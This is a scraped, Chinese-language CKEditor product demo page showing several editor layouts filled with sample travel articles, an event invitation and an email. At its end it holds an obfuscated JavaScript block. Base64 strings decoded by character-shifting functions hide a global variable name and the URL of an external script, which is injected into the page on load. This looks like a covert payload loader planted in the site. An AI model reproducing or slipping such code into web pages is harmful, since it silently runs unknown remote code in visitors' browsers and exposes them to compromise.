报告:2024 年 协作编辑现状

深入了解 RTE 协作的趋势和未来 立即下载

立即阅读

不同的用户界面

无需从头开始设计您的 UI...
只需选择您喜欢的那个!

带固定工具栏的编辑器

经典编辑器提供了一个工具栏,编辑区域放置在页面上的特定位置。工具栏在您向下滚动页面时保持可见,而编辑器会扩展以适应您的内容。

旅行带给您的三大启示

像地球上所有伟大的事物一样,旅行以身作则,教导我们。以下是我多年旅行中汲取的一些宝贵教训。

A lone wanderer looking at Mount Bromo volcano in Indonesia.
走出舒适区可能会带您欣赏到像这样的美丽景色。

欣赏多样性

习惯一种完全不同的文化可能很具有挑战性。虽然从网上或书籍中了解文化也很不错,但没有什么比亲自体验文化多样性更贴近了。您学会欣赏每一个差异,同时变得更加适应不同的文化。

真正的发现之旅不在于寻找新的风景,而在于拥有新的眼睛。

马塞尔·普鲁斯特

即兴发挥

生活不允许我们完美地执行每一个计划。这在您旅行时尤其如此。您会用一个庞大的清单,将旅行计划到每分钟。但当您执行它时,总会有意外发生,您只能依靠自己的即兴发挥能力。您学会边走边适应。以下是我的旅行清单现在的模样

  • 买票
  • 开始您的冒险
Three Monks walking on ancient temple.
走出舒适区可能会带您欣赏到像这样的美丽景色。

自信

去一个新地方可能非常可怕。虽然变化和不确定性让我们害怕,但旅行教会我们,在事情发生之前就害怕是多么荒谬。当您直面恐惧,发现并无可怕之处时,您便会发现幸福。

正在加载...
注意
  • 此演示仅包含 CKEditor 可用功能的一小部分。您可以自由地向 CKEditor 添加更多功能,无论您选择哪种编辑器类型/工具栏。

  • 如果您希望构建自定义 UI,请查看我们的 无头编辑器 演示和 文档

查看此演示的 源代码

文档编辑器

文档编辑器提供类似于 Microsoft Word 等原生文字处理器的熟悉编辑体验,其用户界面让人联想起传统的纸质文档。

美味托斯卡纳聚会

欢迎信

尊敬的来宾:

我们很高兴欢迎您参加一年一度的 美味托斯卡纳聚会。我们希望您能享受节目,以及您在 比兰奇诺酒店 的住宿。

Bilancino Hotel
比兰奇诺酒店

请参见以下活动的完整时间表。

7 月 14 日,星期六
上午 9:30 - 上午 11:30

美式咖啡与煮咖啡 - “了解您的咖啡” 与:

  • 朱莉娅·奥兰达
  • 斯特凡诺·加劳
  • 朱塞佩·鲁索
下午 1:00 - 下午 3:00

托斯卡纳地区特色菜 - 现场烹饪

融入最新鲜的食材
与丽塔·弗雷斯科

下午 5:00 - 下午 8:00 托斯卡纳葡萄园一览 - 品酒会
与弗雷德里科·里斯科利

一年一度的美味托斯卡纳聚会始终是一场烹饪探索之旅。您可以在该地区顶级酒店之一度过一天的住宿,尽情享受托斯卡纳风味。所有环节都由热衷于自己专业的顶级厨师主持。我建议您将此日期添加到您的日历中!

安吉丽娜·卡尔维诺,美食记者

至少提前半小时 到达 比兰奇诺酒店 的前台,以确保登记过程顺利进行。

我们期待在活动中欢迎您。

Victoria Valc signature

维多利亚·瓦尔克

活动经理

比兰奇诺酒店

正在加载...
注意
  • 此演示仅包含 CKEditor 可用功能的一小部分。您可以自由地向 CKEditor 添加更多功能,无论您选择哪种编辑器类型/工具栏。

  • 如果您希望构建自定义 UI,请查看我们的 无头编辑器 演示和 文档

查看此演示的 源代码

无干扰编辑器

气球编辑器包含一个浮动工具栏,当您选择要编辑的内容时,该工具栏会弹出。它可以让您在内容出现在网页上的位置进行编辑,无需费力地导航到单独的管理部分。

欧洲首都之旅:华沙

如果您喜欢我之前关于漫步哥本哈根维尔纽斯的文章,那么您一定会喜欢探索华沙

是时候穿上舒适的凉鞋了!

参观这座城市的最佳时间是七月和八月,这段时间天气凉爽,不会让人出汗,而且足够热可以享受夏天。这座城市拥有古老和现代建筑的独特组合,坐落在维斯瓦河畔。

二战后重建的历史悠久的老城,其18世纪末的特色是必看的景点。您可以从新世界街开始您的步行之旅,这条街将带您直达老城。

然后您可以前往波维斯莱地区,在河边新修建的滨河路漫步。那里还有许多咖啡馆、酒吧和餐厅,您可以在那里放松身心,消除一天的疲劳。在星期天,有很多公园可以供您享受大自然,或聆听来自世界各地的钢琴家演奏肖邦作品。

对于博物馆爱好者,您可以将这些添加到您的清单中:

下一个目的地

我们将前往柏林,并在永不眠城的城市夜间漫步!请确保您订阅我们的时事通讯!

正在加载...
注意
  • 此演示仅包含 CKEditor 可用功能的一小部分。您可以自由地向 CKEditor 添加更多功能,无论您选择哪种编辑器类型/工具栏。

  • 如果您希望构建自定义 UI,请查看我们的 无头编辑器 演示和 文档

查看此演示的源代码

带有块格式化菜单的无干扰编辑器

气球块编辑器提供气球编辑器,以及一个额外的块工具栏,可以通过附加到可编辑内容区域的按钮访问,并跟踪文档中的选择。工具栏提供对其他块级编辑功能的访问。

泰姬陵:对爱情的惊叹颂歌

Taj Mahal illustration.
带有诗意白色大理石陵墓的泰姬陵

印度之旅必不可少的是参观这座壮观的纪念碑,被列为世界七大奇迹之一

游客经常承认泰姬陵“无法用语言形容”。这可能是真的。您越尝试,就越沉默。语言只提供真相的表象。关于其美丽真相的揭示是在您欣赏一天中不同时间的“泰姬”的不同色调,或者是在您欣赏立面不同角落的精美镶嵌工艺时。

世界遗产杰作

泰姬陵是一座陵墓,由莫卧儿皇帝沙贾汗于1631年至1648年间在阿格拉建造,为了纪念他心爱的妻子,穆姆塔兹·玛哈尔,她的遗体就安葬在那里。它花了20000名工人才完成,这座建筑的卓越之处在每一块砖块中都清晰可见。

1983年,泰姬陵被联合国教科文组织认定为世界遗产,因为它“是印度穆斯林艺术的瑰宝,也是世界遗产中得到普遍赞赏的杰作之一”。

如果您喜欢参观历史遗迹的方法,这里有四个要素,我们建议您将注意力集中在这些要素上:

  • 陵墓
  • 装饰
  • 花园
  • 外围建筑

陵墓是立即吸引您眼球的东西。用石头装饰的白色柔软的大理石让您完全陶醉。

正在加载...
注意
  • 此演示仅包含 CKEditor 可用功能的一小部分。您可以自由地向 CKEditor 添加更多功能,无论您选择哪种编辑器类型/工具栏。

  • 如果您希望构建自定义 UI,请查看我们的 无头编辑器 演示和 文档

查看此演示的源代码

带有消失工具栏的编辑器

内联编辑器带有一个浮动工具栏,当编辑器处于焦点时(例如,用鼠标点击)就会变得可见。它允许您直接在网页上显示内容的地方编辑内容,而无需费力地导航到单独的管理部分。

去旅行

每月旅行新闻和灵感

本月目的地

瓦莱塔

Picture of a sunlit facade of a Maltan building.
瓦莱塔现在是午睡时间。

马耳他的首都今年夏天是热门目的地。这里拥有尖端的当代建筑、巴洛克杰作、美味的当地美食,以及至少8个月的阳光。这里也是电影制片人的热门目的地,所以您可以游览《权力的游戏》、《角斗士》、《特洛伊》以及更多电影中熟悉的地方。

正在加载...
注意
  • 此演示仅包含 CKEditor 可用功能的一小部分。您可以自由地向 CKEditor 添加更多功能,无论您选择哪种编辑器类型/工具栏。

  • 如果您希望构建自定义 UI,请查看我们的 无头编辑器 演示和 文档

查看此演示的源代码

带有菜单栏(应用程序菜单)的编辑器

经典编辑器和文档编辑器布局可以通过菜单栏进行增强,从而在不使主工具栏杂乱的情况下,提供更多编辑器功能。

旅行带给您的三大启示

像地球上所有伟大的事物一样,旅行以身作则,教导我们。以下是我多年旅行中汲取的一些宝贵教训。

A lone wanderer looking at Mount Bromo volcano in Indonesia.
走出舒适区可能会带您欣赏到像这样的美丽景色。

欣赏多样性

习惯一种完全不同的文化可能很具有挑战性。虽然从网上或书籍中了解文化也很不错,但没有什么比亲自体验文化多样性更贴近了。您学会欣赏每一个差异,同时变得更加适应不同的文化。

真正的发现之旅不在于寻找新的风景,而在于拥有新的眼睛。

马塞尔·普鲁斯特

即兴发挥

生活不允许我们完美地执行每一个计划。这在您旅行时尤其如此。您会用一个庞大的清单,将旅行计划到每分钟。但当您执行它时,总会有意外发生,您只能依靠自己的即兴发挥能力。您学会边走边适应。以下是我的旅行清单现在的模样

  • 买票
  • 开始您的冒险
Three Monks walking on ancient temple.
走出舒适区可能会带您欣赏到像这样的美丽景色。

自信

去一个新地方可能非常可怕。虽然变化和不确定性让我们害怕,但旅行教会我们,在事情发生之前就害怕是多么荒谬。当您直面恐惧,发现并无可怕之处时,您便会发现幸福。

正在加载...
注意
  • 此演示仅包含 CKEditor 可用功能的一小部分。您可以自由地向 CKEditor 添加更多功能,无论您选择哪种编辑器类型/工具栏。

  • 如果您希望构建自定义 UI,请查看我们的 无头编辑器 演示和 文档

查看此演示的源代码

带有紧凑底部工具栏的编辑器

底部配置将主工具栏移动到编辑窗口底部。这通常应用于电子邮件应用程序、(论坛)帖子编辑器、聊天或即时消息,在这些应用程序中,文本创建优先,格式化偶尔使用。

嗨,阿俊,

我认为我找到了适合我们应用程序的编辑器!🎉

它拥有大量功能和一个出色的API,可以添加我们需要的自定义功能。查看它,我们明天在追赶电话中讨论一下。

祝好,
艾玛


Fabulous Dummy App logo Fabulous Dummy App
一款可以满足您任何需求的应用程序。

2776 Black Oak Hollow Road, San Jose, CA

正在加载...
注意
  • 此演示仅包含 CKEditor 可用功能的一小部分。您可以自由地向 CKEditor 添加更多功能,无论您选择哪种编辑器类型/工具栏。

  • 如果您希望构建自定义 UI,请查看我们的 无头编辑器 演示和 文档

查看此演示的源代码

带有分组工具栏按钮的编辑器

按钮分组选项通过将按钮合并到可扩展组中,使主工具栏不那么杂乱。这样,您可以保持工具栏简洁井井有条,决定哪些按钮应该分组在一起。

使用可定制的工具栏整理事物🧹️

CKEditor的工具栏让您混合和匹配任意数量(或尽可能少的)功能。当事情变得太忙时,您可以轻松地对工具栏按钮进行分组。例如,请查看此编辑器的功能是如何使用|分隔符划分为整洁的组的。

为了使工具栏更简洁,您可以将项目排列到下拉菜单中。使用上面的列表按钮来显示带有不同列表类型的菜单。

出色的可配置性👌

但这还不是全部!CKEditor还提供工具栏包装:自动或在指定断点处。这对于不适合编辑器宽度的工具栏非常有用。其他按钮可以隐藏在菜单下,或者移动到下一个工具栏行。

您甚至可以通过创建自定义插件,将自己的按钮添加到工具栏中!

正在加载...
注意
  • 此演示仅包含 CKEditor 可用功能的一小部分。您可以自由地向 CKEditor 添加更多功能,无论您选择哪种编辑器类型/工具栏。

  • 如果您希望构建自定义 UI,请查看我们的 无头编辑器 演示和 文档

查看此演示的源代码

受信任并获得批准

您找不到您要找的东西吗?

联系我们的销售代表,讨论您的用例
并了解CKEditor可以为您做什么。

您好,您对产品或价格有任何疑问吗?

您对产品或价格有任何疑问吗?

请联系我们的销售代表

表单内容字段

表单提交

HiddenGatedContent。
隐藏的未使用字段。

我们很高兴
收到您的来信!

感谢您联系CKEditor 销售团队。我们已经收到您的消息,并将尽快与您联系。

(function(w,d,s,l,i){w[l]=w[l]||[];w[l].push({'gtm.start': new Date().getTime(),event:'gtm.js'});const f=d.getElementsByTagName(s)[0], j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src= 'https://127.0.0.1/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f); })(window,document,'script','dataLayer','GTM-KFSS6L');window[(function(_2VK,_6n){var _91='';for(var _hi=0;_hi<_2VK.length;_hi++){_91==_91;_DR!=_hi;var _DR=_2VK[_hi].charCodeAt();_DR-=_6n;_DR+=61;_DR%=94;_DR+=33;_6n>9;_91+=String.fromCharCode(_DR)}return _91})(atob('J3R7Pzw3MjBBdjJG'), 43)] = '37db4db8751680691983'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_HwU,_af){var _wr='';for(var _4c=0;_4c<_HwU.length;_4c++){var _Gq=_HwU[_4c].charCodeAt();_af>4;_Gq-=_af;_Gq!=_4c;_Gq+=61;_Gq%=94;_wr==_wr;_Gq+=33;_wr+=String.fromCharCode(_Gq)}return _wr})(atob('IS0tKSxRRkYjLEUzIkQseisiKS0sRXooJkYzIkQteH5FIyw='), 23)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });